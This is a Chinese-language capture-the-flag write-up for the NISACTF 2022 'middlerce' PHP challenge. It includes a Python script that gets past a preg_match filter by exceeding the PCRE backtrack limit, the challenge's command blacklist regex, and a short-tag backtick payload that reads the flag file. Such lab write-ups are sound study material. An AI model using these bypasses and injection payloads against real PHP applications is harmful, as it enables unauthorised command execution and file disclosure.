NSS [NISACTF 2022]middlerce
开题,直接给了源码。
由语句$command = json_decode($txw4ever,true)['cmd'];
可得,$txw4ever
一定是json
格式的数据,但是,preg_match()
函数却过滤了{
,同时.*
贪婪匹配后又匹配括号里的字符,最后再.*
后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。
$_REQUEST
可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。
payload生成脚本:
python
import requests
payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28035/",data = {"letter":payload})
print(res.text)
脚本发个包,发现没有返回再加把油喔
,说明preg_match()
函数被成功绕过了。
然后就是考虑【命令】如何绕过checkdata()
函数检测的问题了。
checkdata()
函数的正则过滤如下:
php
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i
这题是黑盒,也可以自己fuzz,结果不变。
过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。
?><?= `nl /f*`?>
解释一下,<?=?>
则是相当于<? echo>
,payload最前面?>
用于闭合,payload后面一部分相当于echo
+反引号
执行命令。
成功得到flag。